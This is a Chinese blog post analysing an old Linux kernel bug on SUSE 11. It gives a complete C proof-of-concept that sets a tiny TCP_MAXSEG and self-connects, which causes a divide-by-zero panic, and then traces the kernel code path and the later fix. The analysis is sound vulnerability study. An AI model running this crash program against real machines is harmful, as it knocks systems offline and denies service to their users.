Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3926654
  • 博文数量: 93
  • 博客积分: 3189
  • 博客等级: 中校
  • 技术积分: 4229
  • 用 户 组: 普通用户
  • 注册时间: 2009-02-02 13:29
个人简介

出没于杭州和青岛的程序猿一枚,对内核略懂一二

文章分类

全部博文(93)

文章存档

2016年(2)

2015年(3)

2014年(11)

2013年(29)

2012年(16)

2011年(5)

2010年(5)

2009年(22)

分类: LINUX

2012-09-01 08:11:50

最近一直在忙公司的事情,一直都没时间过来更新。今天给大家分享一个suse 11下dos实现的原理分析:
先看一下dos的代码

点击(此处)折叠或打开

  1. /*
  2.  * Copyright (C) 2012-2012 Hisense Media Networks Holding Limited
  3.  *
  4.  * 2012-08-07 13:39:02
  5.  * Version: not
  6.  *    Author:
  7.  *            Tony <liutingwei@hisense.com> <tingw.liu@gmail.com>
  8.  */

  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <sys/socket.h>
  12. #include <net/if.h>
  13. #include <arpa/inet.h>
  14. #include <netinet/tcp.h>

  15. int main()
  16. {
  17.     struct sockaddr_in laddr;
  18.     int listener, panic, val;
  19.     val = 12;
  20.     memset(&laddr, 0, sizeof(laddr));
  21.     laddr.sin_family = AF_INET;
  22.     laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  23.     laddr.sin_port = htons(12345);
  24.     listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  25.     if (listener < 0) {
  26.         printf("[-] Could not open listener.\n");
  27.         return -1;
  28.     }
  29.     if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
  30.         printf("[-] Could not set sockopt.\n");
  31.         return -1;
  32.     }
  33.     if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
  34.         printf("[-] Could not bind to address.\n");
  35.         return -1;
  36.     }
  37.     if (listen(listener, 1) < 0) {
  38.         printf("[-] Could not listen.\n");
  39.         return -1;
  40.     }
  41.     panic = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  42.     if (panic < 0) {
  43.         printf("[-] Could not open connector.\n");
  44.         return -1;
  45.     }
  46.     if (connect(panic, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
  47.         printf("[-] Could not connect to listener.\n");
  48.         return -1;
  49.     }
  50.     printf("[-] Connection did not trigger oops.\n");
  51.     return 0;
  52. }
gcc 编译代码,运行后你就会发现操作系统down了。。。
Why? 现在我们来看看到底发生了什么。
 
系统调用设置tcp的最大mss

点击(此处)折叠或打开

  1. setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)
对应的内核代码如下:

点击(此处)折叠或打开

  1. switch (optname) {
  2.     case TCP_MAXSEG:
  3.         /* Values greater than interface MTU won't take effect. However
  4.          * at the point when this call is done we typically don't yet
  5.          * know which interface is going to be used */
  6.         if (val < 8 || val > MAX_TCP_WINDOW) {
  7.             err = -EINVAL;
  8.             break;
  9.         }
  10.         tp->rx_opt.user_mss = val;
  11.         break;
修改了tp->rx_opt.user_mss = 12
 
当我们调用connect连接服务器的时候,服务器端收到syn会应答一个syn+ack,我们来看看这个函数的实现,这里只列出我们关心的前面部分

  1. struct sk_buff *tcp_make_synack(struct sock *sk, struct dst_entry *dst,
  2.                 struct request_sock *req)
  3. {
  4.     struct inet_request_sock *ireq = inet_rsk(req);
  5.     struct tcp_sock *tp = tcp_sk(sk);
  6.     struct tcphdr *th;
  7.     int tcp_header_size;
  8.     struct tcp_out_options opts;
  9.     struct sk_buff *skb;
  10.     struct tcp_md5sig_key *md5;
  11.     __u8 *md5_hash_location;
  12.     int mss;

  13.     skb = sock_wmalloc(sk, MAX_TCP_HEADER + 15, 1,
  14.             sk_allocation(sk, GFP_ATOMIC));
  15.     if (skb == NULL)
  16.         return NULL;

  17.     /* Reserve space for headers. */
  18.     skb_reserve(skb, MAX_TCP_HEADER);

  19.     skb_dst_set(skb, dst_clone(dst));
  20.     mss = dst_metric(dst, RTAX_ADVMSS);
  21.     if (tp->rx_opt.user_mss && tp->rx_opt.user_mss < mss)
  22.         mss = tp->rx_opt.user_mss;

  23.     if (req->rcv_wnd == 0) { /* ignored for retransmitted syns */
  24.         __u8 rcv_wscale;
  25.         /* Set this up on the first call only */
  26.         req->window_clamp = tp->window_clamp ? : dst_metric(dst, RTAX_WINDOW);
  27.         /* tcp_full_space because it is guaranteed to be the first packet */
  28.         tcp_select_initial_window(tcp_full_space(sk),
  29.             mss - (ireq->tstamp_ok ? TCPOLEN_TSTAMP_ALIGNED : 0),
  30.             &req->rcv_wnd,
  31.             &req->window_clamp,
  32.             ireq->wscale_ok,
  33.             &rcv_wscale);
  34.         ireq->rcv_wscale = rcv_wscale;
  35.     }
第23-25行,确定了最大mss,由于我们设置了user_mss=12,要小于(MTU-header),所以mss=12
 
第32行,调用函数tcp_select_initial_window初始化tcp初始窗口大小,我们看看传入的第二个参数
mss = 12, TCPOLEN_TSTAMP_ALIGEND = 12,所以我们传给函数的第二个参数是0.接下来我们看看该函数的实现:

点击(此处)折叠或打开

  1. void tcp_select_initial_window(int __space, __u32 mss,
  2.                    __u32 *rcv_wnd, __u32 *window_clamp,
  3.                    int wscale_ok, __u8 *rcv_wscale)
  4. {
  5.     unsigned int space = (__space < 0 ? 0 : __space);

  6.     /* If no clamp set the clamp to the max possible scaled window */
  7.     if (*window_clamp == 0)
  8.         (*window_clamp) = (65535 << 14);
  9.     space = min(*window_clamp, space);

  10.     /* Quantize space offering to a multiple of mss if possible. */
  11.     if (space > mss)
  12.         space = (space / mss) * mss;

注意第14行,有一个除mss的动作,而我们传入的参数是0,所以该处会因为除0而oops。又由于该部分代码的执行在网络软中断中,所以一旦oops,操作系统就会hang了
 
最新的内核代码已经对此处进行了改动,可设置的最小MSS=(60+60+8)-(20+20)=88。
 
欢迎转载,转载请注明出处http://forever.blog.chinaunix.net
阅读(3196) | 评论(0) | 转发(1) |
给主人留下些什么吧!~~